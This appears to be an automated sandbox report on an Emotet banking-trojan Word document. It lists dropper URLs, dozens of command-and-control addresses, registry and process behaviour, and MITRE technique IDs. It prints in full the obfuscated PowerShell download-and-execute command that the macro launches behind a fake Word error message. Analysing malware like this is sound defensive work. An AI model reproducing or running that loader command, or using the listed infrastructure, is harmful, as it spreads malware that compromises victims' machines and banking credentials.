emotet | a5b510a8622fa550ad9b0a48d4201e286b1f446aa6fb78c5b4274c11a07ff4d0

General

Target
e6e59fd682d1212c1b789365f92e5a5e778ca20f2d16440ec6f5b46ddb85d431.doc
Sample201221-8c6wmat6kx

Score

10^/10

emotet epoch1 banker trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
http://parakkunnathtemple.com/bckup/7SDAvi/
exe.dropper
http://helionspharmaceutical.com/wp-admin/oXJB/
exe.dropper
https://accordiblehr.com/wp-admin/HdzyEn/
exe.dropper
https://snjwellers.com/wp-includes/esttW/
exe.dropper
https://norailya.com/vendor/1j/
exe.dropper
https://whytech.info/wp-includes/HceUxFK/
exe.dropper
http://resuco.net/wp-content/uploads/2020/12/S0K/

Extracted

Family

emotet

Botnet

Epoch1

C2

95.76.153.115:80
191.241.233.198:80
167.71.148.58:443
211.215.18.93:8080
1.234.65.61:80
60.93.23.51:80
51.15.7.145:80
190.24.243.186:80
190.64.88.186:443
186.146.13.184:443
177.85.167.10:80
59.148.253.194:8080
155.186.9.160:80
51.255.165.160:8080
149.202.72.142:7080
111.67.12.221:8080
185.183.16.47:80
111.67.12.222:8080
190.195.129.227:8090
71.58.233.254:80
104.131.41.185:8080
85.214.26.7:8080
1.226.84.243:8080
110.39.160.38:443
213.52.74.198:80
192.232.229.54:7080
172.104.169.32:8080
5.196.35.138:7080
137.74.106.111:7080
181.30.61.163:443
68.183.170.114:8080
45.16.226.117:443
168.121.4.238:80
190.251.216.100:80
46.101.58.37:8080
191.182.6.118:80
70.32.84.74:8080
77.78.196.173:443
103.236.179.162:80
181.120.29.49:80
50.28.51.143:8080
181.61.182.143:80
46.43.2.95:8080
209.236.123.42:8080
172.245.248.239:8080
188.135.15.49:80
122.201.23.45:443
177.23.7.151:80
68.183.190.199:8080
192.175.111.212:7080
201.75.62.86:80
191.223.36.170:80
202.79.24.136:443
105.209.235.113:8080
177.144.130.105:443
81.213.175.132:80
190.45.24.210:80
190.114.254.163:8080
217.13.106.14:8080
87.106.46.107:8080
45.184.103.73:80
138.97.60.141:7080
81.215.230.173:443
192.232.229.53:4143
80.15.100.37:80
178.211.45.66:8080
187.162.248.237:80
189.2.177.210:443
187.162.250.23:443
82.76.111.249:443
170.81.48.2:80
93.148.247.169:80
110.39.162.2:443
46.105.114.137:8080
113.163.216.135:80
70.32.115.157:8080
62.84.75.50:80
152.169.22.67:80
24.232.228.233:80
35.143.99.174:80
138.97.60.140:8080
83.169.21.32:7080
212.71.237.140:8080
188.225.32.231:7080
12.163.208.58:80
185.94.252.27:443
202.134.4.210:7080
177.144.130.105:8080
178.250.54.208:8080
197.232.36.108:80
12.162.84.2:8080
94.176.234.118:443
81.214.253.80:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3936	3328	cmd.exe	16

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	1172	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
2904	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Nrbe\ktabhd.nzr	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
492	WINWORD.EXE
492	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1172	powershell.exe
1172	powershell.exe
1172	powershell.exe
2772	rundll32.exe
2772	rundll32.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1172	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
492	WINWORD.EXE
492	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
492	WINWORD.EXE
492	WINWORD.EXE
492	WINWORD.EXE
492	WINWORD.EXE
492	WINWORD.EXE
492	WINWORD.EXE
492	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 3936 wrote to memory of 1456	3936	cmd.exe	79
PID 3936 wrote to memory of 1456	3936	cmd.exe	79
PID 3936 wrote to memory of 1172	3936	cmd.exe	80
PID 3936 wrote to memory of 1172	3936	cmd.exe	80
PID 1172 wrote to memory of 3128	1172	powershell.exe	84
PID 1172 wrote to memory of 3128	1172	powershell.exe	84
PID 3128 wrote to memory of 2904	3128	rundll32.exe	85
PID 3128 wrote to memory of 2904	3128	rundll32.exe	85
PID 3128 wrote to memory of 2904	3128	rundll32.exe	85
PID 2904 wrote to memory of 2772	2904	rundll32.exe	86
PID 2904 wrote to memory of 2772	2904	rundll32.exe	86
PID 2904 wrote to memory of 2772	2904	rundll32.exe	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e6e59fd682d1212c1b789365f92e5a5e778ca20f2d16440ec6f5b46ddb85d431.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:492

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAgAFMARQBUAC0AVgBhAHIAaQBhAGIATABlACAAKAAnAFMAJwArACcAMQA1ACcAKwAnADYAUQA4ACcAKQAgACAAKAAgACAAWwB0AHkAcABlAF0AKAAiAHsAMAB9AHsAMQB9AHsAMwB9AHsAMgB9ACIALQBGACcAcwAnACwAJwB5AFMAJwAsACcAVABPAFIAWQAnACwAJwB0AGUAbQAuAGkATwAuAEQAaQByAGUAYwAnACkAIAAgACkAIAA7ACAAIABzAGUAVAAgACgAJwA3ACcAKwAnAFIAYQAnACkAIAAoAFsAVAB5AFAARQBdACgAIgB7ADYAfQB7ADUAfQB7ADIAfQB7ADEAfQB7ADQAfQB7ADMAfQB7ADcAfQB7ADgAfQB7ADAAfQAiACAALQBmACAAJwBuAEEAZwBFAHIAJwAsACcAdAAnACwAJwBOAEUAJwAsACcAcwBFAFIAVgBJAGMAZQAnACwAJwAuACcALAAnAC4AJwAsACcAcwBZAHMAVABFAE0AJwAsACcAUABPAGkATgB0ACcALAAnAG0AQQAnACkAIAAgACkAOwAgACQARwB3AG0AZAB2AGYAdgA9ACgAKAAnAFgAJwArACcAeABjACcAKQArACcANQBkACcAKwAnAHkANgAnACkAOwAkAFcAcQAwAHMAZQB0ADQAPQAkAEwAYwA1AGcAcQA5AHEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFAANQBiAGsAYwBxAGwAOwAkAEQAcABqAHQAZwB6ADUAPQAoACcAQwA0ACcAKwAoACcAagAnACsAJwB5AGgAJwApACsAJwA1AHAAJwApADsAIAAgACgAZwBlAFQALQBWAEEAUgBpAGEAYgBsAGUAIAAoACcAUwAnACsAJwAxADUAJwArACcANgBRADgAJwApACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBjAHIAYABlAGAAQQBgAFQAZQBEAGkAcgBlAGMAVABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBhAHQAVAB5ACcAKQArACgAJwBzAGYAJwArACcAbABqACcAKQArACgAJwB5AHAAYQAnACsAJwB0AFkAJwArACcAegBlAF8AJwArACcAOQB2ACcAKQArACcAbABwACcAKwAnAGEAJwArACcAdAAnACkALgAiAFIARQBwAGwAYQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQAxADEAMgArAFsAYwBoAGEAcgBdADkANwArAFsAYwBoAGEAcgBdADEAMQA2ACkALAAnAFwAJwApACkAKQA7ACQAVgA5AHUANgAzAGUAZAA9ACgAKAAnAEQANQAnACsAJwBzACcAKQArACcAMwBlACcAKwAnAGsAeAAnACkAOwAgACAAKABnAEUAdAAtAHYAYQBSAGkAQQBCAEwARQAgACAAKAAnADcAJwArACcAUgBBACcAKQApAC4AVgBhAGwAdQBlADoAOgAiAHMARQBDAGAAVQBSAGkAdABZAFAAcgBvAGAAVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEkANAAxAHoAcABsAF8APQAoACcARwBpACcAKwAoACcAZAAnACsAJwB4AHoANABsACcAKQApADsAJABVAGoAbQBfADAAZwBwACAAPQAgACgAJwBLADMAJwArACgAJwBxACcAKwAnAGUAOAAnACkAKwAoACcAcQBzAF8AJwArACcAbQAnACkAKQA7ACQASwBuAGgAYgByADQAZwA9ACgAKAAnAEkAJwArACcAcABlADIAJwApACsAJwA2ACcAKwAnAHQAMAAnACkAOwAkAFAAdABiAHIAeABtAHMAPQAoACgAJwBKAG0ANgAnACsAJwBzACcAKQArACcAdQA3ACcAKwAnAGwAJwApADsAJABTAGkAcQB1ADYAOQBkAD0AJABIAE8ATQBFACsAKAAoACcAewAnACsAJwAwAH0AVAB5AHMAJwArACcAZgBsACcAKwAnAGoAJwArACcAeQAnACsAJwB7ADAAJwArACcAfQBZAHoAZQBfADkAdgBsACcAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQAVQBqAG0AXwAwAGcAcAArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQASQBzADgAeAB1AGgAMwA9ACgAJwBMACcAKwAoACcANgAnACsAJwByADgAeQB5ADgAJwApACkAOwAkAFAAZQB5ADUAaQBvAGYAPQBOAEUAYABXAC0AYABvAEIAagBgAEUAYABjAHQAIABOAEUAdAAuAFcARQBiAGMAbABpAEUATgB0ADsAJABNAG4AbgBmAG0AOABmAD0AKAAoACgAKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgBKACkAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKABKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQArACgAJwBwAGEAcgAnACsAJwBhAGsAJwArACcAawB1ACcAKwAnAG4AbgBhAHQAaAB0AGUAJwArACcAbQBwACcAKQArACgAKAAnAGwAZQAuAGMAbwBtAEoAJwArACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAAnACsAJwBiAGMAJwApACkAKwAnAGsAJwArACgAJwB1AHAAJwArACcASgAnACkAKwAoACgAJwApACgAMwBzACcAKwAnADIAKQAoADcAUwBEAEEAdgAnACsAJwBpAEoAJwApACkAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAQAAnACkAKQArACcAaAB0ACcAKwAoACgAJwB0AHAAOgAnACsAJwBKACkAKAAzAHMAJwArACcAMgApACcAKQApACsAKAAnACgASgAnACsAJwApACcAKQArACgAKAAnACgAMwBzADIAKQAoACcAKwAnAGgAZQAnACkAKQArACgAJwBsACcAKwAnAGkAbwBuAHMAcABoACcAKwAnAGEAcgBtAGEAYwBlAHUAdABpAGMAJwArACcAYQAnACsAJwBsAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAEoAJwApACsAKAAoACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAB3AHAALQBhACcAKwAnAGQAbQAnACsAJwBpAG4AJwApACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABvAFgAJwApACkAKwAoACcASgBCACcAKwAnAEoAJwApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwAnACsAJwBzACcAKwAnADIAKQAoAEAAaAB0AHQAcAAnACkAKQArACgAKAAnAHMAJwArACcAOgBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACkAKABKACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnADMAcwAnACsAJwAyACkAKABhACcAKQApACsAKAAnAGMAYwAnACsAJwBvACcAKQArACcAcgAnACsAJwBkACcAKwAnAGkAYgAnACsAKAAnAGwAZQBoAHIALgAnACsAJwBjAG8AbQAnACkAKwAoACgAJwBKACkAJwArACcAKAAzACcAKQApACsAJwBzADIAJwArACgAKAAnACkAJwArACcAKAAnACsAJwB3AHAALQBhAGQAJwApACkAKwAoACgAJwBtAGkAbgBKACkAKAAzAHMAJwArACcAMgApACgAJwArACcASAAnACkAKQArACcAZAAnACsAKAAoACcAegB5ACcAKwAnAEUAJwArACcAbgBKACkAKAAzACcAKQApACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQArACgAJwBAAGgAJwArACcAdAAnACsAJwB0AHAAcwA6ACcAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACgASgApACgAMwBzACcAKwAnADIAJwArACcAKQAoACcAKQApACsAKAAoACcAcwBuAGoAdwBlACcAKwAnAGwAbAAnACsAJwBlACcAKwAnAHIAcwAuAGMAbwBtAEoAKQAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAHcAcAAnACsAJwAtACcAKwAnAGkAJwApACkAKwAoACgAJwBuACcAKwAnAGMAbAB1AGQAZQBzAEoAJwArACcAKQAoADMAcwAyACkAJwArACcAKABlAHMAdAB0AFcAJwArACcASgAnACkAKQArACgAKAAnACkAKAAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKABAAGgAJwArACcAdAB0AHAAcwA6AEoAKQAnACsAJwAoADMAcwAnACsAJwAyACkAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAJwArACcAKQAoAG4AJwArACcAbwByAGEAJwApACkAKwAoACcAaQAnACsAJwBsAHkAJwApACsAKAAnAGEAJwArACcALgBjACcAKQArACgAKAAnAG8AbQAnACsAJwBKACkAKAAnACkAKQArACgAKAAnADMAcwAyACcAKwAnACkAKAAnACsAJwB2AGUAbgAnACkAKQArACgAJwBkACcAKwAnAG8AcgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAoACgAJwApACcAKwAnACgAMQBqACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwArACcAQABoACcAKQApACsAJwB0AHQAJwArACgAKAAnAHAAJwArACcAcwA6AEoAKQAoACcAKwAnADMAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAJwArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAaAAnACsAJwB5AHQAJwApACkAKwAoACcAZQAnACsAJwBjAGgAJwApACsAKAAnAC4AaQAnACsAJwBuAGYAbwAnACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACsAJwApACgAdwAnACkAKQArACgAJwBwAC0AJwArACcAaQBuAGMAbAB1ACcAKwAnAGQAJwApACsAKAAoACcAZQBzAEoAKQAoACcAKwAnADMAJwArACcAcwAyACcAKwAnACkAKABIACcAKwAnAGMAZQBVAHgARgAnACsAJwBLACcAKQApACsAKAAoACcASgApACcAKwAnACgAMwBzADIAKQAnACsAJwAoACcAKwAnAEAAaAB0AHQAcAA6AEoAKQAoADMAJwApACkAKwAoACgAJwBzADIAKQAoACcAKwAnAEoAKQAoADMAcwAnACkAKQArACcAMgAnACsAKAAoACcAKQAoAHIAZQAnACsAJwBzAHUAYwBvACcAKwAnAC4AbgBlAHQAJwApACkAKwAoACgAJwBKACkAKAAzAHMAJwArACcAMgAnACsAJwApACgAdwBwAC0AJwApACkAKwAoACcAYwBvACcAKwAnAG4AdABlACcAKQArACgAKAAnAG4AdAAnACsAJwBKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACkAJwApACkAKwAoACgAJwAoAHUAcAAnACsAJwBsAG8AJwApACkAKwAnAGEAZAAnACsAKAAoACcAcwBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKAAyADAAMgAnACkAKQArACcAMAAnACsAKAAoACcASgApACcAKwAnACgAMwAnACkAKQArACcAcwAnACsAKAAoACcAMgApACcAKQApACsAJwAoACcAKwAoACgAJwAxADIAJwArACcASgApACgAMwBzACcAKwAnADIAKQAnACsAJwAoAFMAMABLACcAKQApACsAKAAoACcASgApACcAKQApACsAKAAoACcAKAAnACsAJwAzAHMAMgApACgAJwApACkAKQApAC4AIgBSAEUAcABgAGwAYQBjAEUAIgAoACgAKAAoACgAJwBKACkAJwArACcAKAAnACkAKQArACcAMwAnACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAC8AJwApACwAKAAnAGgAdwAnACsAJwBlACcAKQApAFsAMABdACkALgAiAFMAUABsAGAAaQB0ACIAKAAkAEUAZAA2ADAAMAA2AGsAIAArACAAJABXAHEAMABzAGUAdAA0ACAAKwAgACQAVwBxAHkAZQAwAHoAawApADsAJABDAG8AbwBuAHcAbABqAD0AKAAnAFQAMgAnACsAJwBhADMAJwArACgAJwA3AHYAJwArACcAZAAnACkAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAWABtADcAOABrAGMAZwAgAGkAbgAgACQATQBuAG4AZgBtADgAZgAgAHwAIABzAG8AcgBUAC0ATwBgAEIASgBFAGAAQwB0ACAAewBHAGAAZQB0AC0AYABSAGEAbgBgAEQAbwBtAH0AKQB7AHQAcgB5AHsAJABQAGUAeQA1AGkAbwBmAC4AIgBEAG8AVwBgAE4AbABPAEEAZABGAGAASQBgAGwAZQAiACgAJABYAG0ANwA4AGsAYwBnACwAIAAkAFMAaQBxAHUANgA5AGQAKQA7ACQATAA5AG0AcQBiAG0AMwA9ACgAKAAnAEYAJwArACcANgA0ACcAKQArACcAZAAnACsAKAAnAHQAJwArACcAeQBtACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFMAaQBxAHUANgA5AGQAKQAuACIATABlAE4AZwBgAFQASAAiACAALQBnAGUAIAA0ADUAMwA5ADMAKQAgAHsALgAoACcAcgB1ACcAKwAnAG4AZABsAGwAMwAyACcAKQAgACQAUwBpAHEAdQA2ADkAZAAsACcAIwAxACcALgAiAHQATwBgAHMAVABgAFIAaQBuAEcAIgAoACkAOwAkAEEANQBqAGoAdQBsADcAPQAoACcATQBoACcAKwAoACcAaAA1AHQAZwAnACsAJwBrACcAKQApADsAYgByAGUAYQBrADsAJABaAHoAYgBtADUAcAAzAD0AKAAnAFgAJwArACgAJwBnADIAdAAnACsAJwBmADYAZQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARwBnADYAMwA1AHEANwA9ACgAKAAnAEwAdgB1ACcAKwAnAGUAJwApACsAKAAnAHUAJwArACcAeAB6ACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3936
- C:\Windows\system32\msg.exe
  msg Admin /v Word experienced an error trying to open the file.
  2⤵
  PID:1456
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  POwersheLL -w hidden -ENCOD IAAgAFMARQBUAC0AVgBhAHIAaQBhAGIATABlACAAKAAnAFMAJwArACcAMQA1ACcAKwAnADYAUQA4ACcAKQAgACAAKAAgACAAWwB0AHkAcABlAF0AKAAiAHsAMAB9AHsAMQB9AHsAMwB9AHsAMgB9ACIALQBGACcAcwAnACwAJwB5AFMAJwAsACcAVABPAFIAWQAnACwAJwB0AGUAbQAuAGkATwAuAEQAaQByAGUAYwAnACkAIAAgACkAIAA7ACAAIABzAGUAVAAgACgAJwA3ACcAKwAnAFIAYQAnACkAIAAoAFsAVAB5AFAARQBdACgAIgB7ADYAfQB7ADUAfQB7ADIAfQB7ADEAfQB7ADQAfQB7ADMAfQB7ADcAfQB7ADgAfQB7ADAAfQAiACAALQBmACAAJwBuAEEAZwBFAHIAJwAsACcAdAAnACwAJwBOAEUAJwAsACcAcwBFAFIAVgBJAGMAZQAnACwAJwAuACcALAAnAC4AJwAsACcAcwBZAHMAVABFAE0AJwAsACcAUABPAGkATgB0ACcALAAnAG0AQQAnACkAIAAgACkAOwAgACQARwB3AG0AZAB2AGYAdgA9ACgAKAAnAFgAJwArACcAeABjACcAKQArACcANQBkACcAKwAnAHkANgAnACkAOwAkAFcAcQAwAHMAZQB0ADQAPQAkAEwAYwA1AGcAcQA5AHEAIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAFAANQBiAGsAYwBxAGwAOwAkAEQAcABqAHQAZwB6ADUAPQAoACcAQwA0ACcAKwAoACcAagAnACsAJwB5AGgAJwApACsAJwA1AHAAJwApADsAIAAgACgAZwBlAFQALQBWAEEAUgBpAGEAYgBsAGUAIAAoACcAUwAnACsAJwAxADUAJwArACcANgBRADgAJwApACAAKQAuAFYAQQBsAFUAZQA6ADoAIgBjAHIAYABlAGAAQQBgAFQAZQBEAGkAcgBlAGMAVABPAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAoACcAcAAnACsAJwBhAHQAVAB5ACcAKQArACgAJwBzAGYAJwArACcAbABqACcAKQArACgAJwB5AHAAYQAnACsAJwB0AFkAJwArACcAegBlAF8AJwArACcAOQB2ACcAKQArACcAbABwACcAKwAnAGEAJwArACcAdAAnACkALgAiAFIARQBwAGwAYQBgAEMAZQAiACgAKABbAGMAaABhAHIAXQAxADEAMgArAFsAYwBoAGEAcgBdADkANwArAFsAYwBoAGEAcgBdADEAMQA2ACkALAAnAFwAJwApACkAKQA7ACQAVgA5AHUANgAzAGUAZAA9ACgAKAAnAEQANQAnACsAJwBzACcAKQArACcAMwBlACcAKwAnAGsAeAAnACkAOwAgACAAKABnAEUAdAAtAHYAYQBSAGkAQQBCAEwARQAgACAAKAAnADcAJwArACcAUgBBACcAKQApAC4AVgBhAGwAdQBlADoAOgAiAHMARQBDAGAAVQBSAGkAdABZAFAAcgBvAGAAVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEkANAAxAHoAcABsAF8APQAoACcARwBpACcAKwAoACcAZAAnACsAJwB4AHoANABsACcAKQApADsAJABVAGoAbQBfADAAZwBwACAAPQAgACgAJwBLADMAJwArACgAJwBxACcAKwAnAGUAOAAnACkAKwAoACcAcQBzAF8AJwArACcAbQAnACkAKQA7ACQASwBuAGgAYgByADQAZwA9ACgAKAAnAEkAJwArACcAcABlADIAJwApACsAJwA2ACcAKwAnAHQAMAAnACkAOwAkAFAAdABiAHIAeABtAHMAPQAoACgAJwBKAG0ANgAnACsAJwBzACcAKQArACcAdQA3ACcAKwAnAGwAJwApADsAJABTAGkAcQB1ADYAOQBkAD0AJABIAE8ATQBFACsAKAAoACcAewAnACsAJwAwAH0AVAB5AHMAJwArACcAZgBsACcAKwAnAGoAJwArACcAeQAnACsAJwB7ADAAJwArACcAfQBZAHoAZQBfADkAdgBsACcAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQAVQBqAG0AXwAwAGcAcAArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQASQBzADgAeAB1AGgAMwA9ACgAJwBMACcAKwAoACcANgAnACsAJwByADgAeQB5ADgAJwApACkAOwAkAFAAZQB5ADUAaQBvAGYAPQBOAEUAYABXAC0AYABvAEIAagBgAEUAYABjAHQAIABOAEUAdAAuAFcARQBiAGMAbABpAEUATgB0ADsAJABNAG4AbgBmAG0AOABmAD0AKAAoACgAKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAOgBKACkAKAAzAHMAJwApACkAKwAoACgAJwAyACcAKwAnACkAKABKACkAKAAzACcAKQApACsAJwBzACcAKwAoACgAJwAyACcAKwAnACkAKAAnACkAKQArACgAJwBwAGEAcgAnACsAJwBhAGsAJwArACcAawB1ACcAKwAnAG4AbgBhAHQAaAB0AGUAJwArACcAbQBwACcAKQArACgAKAAnAGwAZQAuAGMAbwBtAEoAJwArACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAAnACsAJwBiAGMAJwApACkAKwAnAGsAJwArACgAJwB1AHAAJwArACcASgAnACkAKwAoACgAJwApACgAMwBzACcAKwAnADIAKQAoADcAUwBEAEEAdgAnACsAJwBpAEoAJwApACkAKwAoACgAJwApACgAJwArACcAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAQAAnACkAKQArACcAaAB0ACcAKwAoACgAJwB0AHAAOgAnACsAJwBKACkAKAAzAHMAJwArACcAMgApACcAKQApACsAKAAnACgASgAnACsAJwApACcAKQArACgAKAAnACgAMwBzADIAKQAoACcAKwAnAGgAZQAnACkAKQArACgAJwBsACcAKwAnAGkAbwBuAHMAcABoACcAKwAnAGEAcgBtAGEAYwBlAHUAdABpAGMAJwArACcAYQAnACsAJwBsAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAEoAJwApACsAKAAoACcAKQAoADMAcwAnACsAJwAyACcAKwAnACkAKAB3AHAALQBhACcAKwAnAGQAbQAnACsAJwBpAG4AJwApACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACkAKQArACgAKAAnACkAJwArACcAKABvAFgAJwApACkAKwAoACcASgBCACcAKwAnAEoAJwApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwAnACsAJwBzACcAKwAnADIAKQAoAEAAaAB0AHQAcAAnACkAKQArACgAKAAnAHMAJwArACcAOgBKACkAJwArACcAKAAzAHMAJwApACkAKwAoACgAJwAyACkAKABKACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnADMAcwAnACsAJwAyACkAKABhACcAKQApACsAKAAnAGMAYwAnACsAJwBvACcAKQArACcAcgAnACsAJwBkACcAKwAnAGkAYgAnACsAKAAnAGwAZQBoAHIALgAnACsAJwBjAG8AbQAnACkAKwAoACgAJwBKACkAJwArACcAKAAzACcAKQApACsAJwBzADIAJwArACgAKAAnACkAJwArACcAKAAnACsAJwB3AHAALQBhAGQAJwApACkAKwAoACgAJwBtAGkAbgBKACkAKAAzAHMAJwArACcAMgApACgAJwArACcASAAnACkAKQArACcAZAAnACsAKAAoACcAegB5ACcAKwAnAEUAJwArACcAbgBKACkAKAAzACcAKQApACsAKAAoACcAcwAyACkAJwArACcAKAAnACkAKQArACgAJwBAAGgAJwArACcAdAAnACsAJwB0AHAAcwA6ACcAKQArACgAKAAnAEoAKQAnACkAKQArACgAKAAnACgAJwArACcAMwBzADIAJwApACkAKwAoACgAJwApACgASgApACgAMwBzACcAKwAnADIAJwArACcAKQAoACcAKQApACsAKAAoACcAcwBuAGoAdwBlACcAKwAnAGwAbAAnACsAJwBlACcAKwAnAHIAcwAuAGMAbwBtAEoAKQAoADMAcwAnACkAKQArACgAKAAnADIAKQAoAHcAcAAnACsAJwAtACcAKwAnAGkAJwApACkAKwAoACgAJwBuACcAKwAnAGMAbAB1AGQAZQBzAEoAJwArACcAKQAoADMAcwAyACkAJwArACcAKABlAHMAdAB0AFcAJwArACcASgAnACkAKQArACgAKAAnACkAKAAzACcAKwAnAHMAMgAnACkAKQArACgAKAAnACkAKABAAGgAJwArACcAdAB0AHAAcwA6AEoAKQAnACsAJwAoADMAcwAnACsAJwAyACkAKABKACcAKQApACsAKAAoACcAKQAoACcAKQApACsAKAAoACcAMwBzACcAKwAnADIAJwArACcAKQAoAG4AJwArACcAbwByAGEAJwApACkAKwAoACcAaQAnACsAJwBsAHkAJwApACsAKAAnAGEAJwArACcALgBjACcAKQArACgAKAAnAG8AbQAnACsAJwBKACkAKAAnACkAKQArACgAKAAnADMAcwAyACcAKwAnACkAKAAnACsAJwB2AGUAbgAnACkAKQArACgAJwBkACcAKwAnAG8AcgAnACkAKwAoACgAJwBKACcAKwAnACkAKAAnACkAKQArACgAJwAzACcAKwAnAHMAMgAnACkAKwAoACgAJwApACcAKwAnACgAMQBqACcAKwAnAEoAKQAnACkAKQArACgAKAAnACgAMwAnACkAKQArACgAKAAnAHMAJwArACcAMgApACgAJwArACcAQABoACcAKQApACsAJwB0AHQAJwArACgAKAAnAHAAJwArACcAcwA6AEoAKQAoACcAKwAnADMAcwAyACcAKwAnACkAJwApACkAKwAoACgAJwAoACcAKwAnAEoAKQAoADMAJwApACkAKwAnAHMAJwArACcAMgAnACsAKAAoACcAKQAoACcAKwAnAHcAaAAnACsAJwB5AHQAJwApACkAKwAoACcAZQAnACsAJwBjAGgAJwApACsAKAAnAC4AaQAnACsAJwBuAGYAbwAnACkAKwAoACgAJwBKACkAKAAnACsAJwAzAHMAMgAnACsAJwApACgAdwAnACkAKQA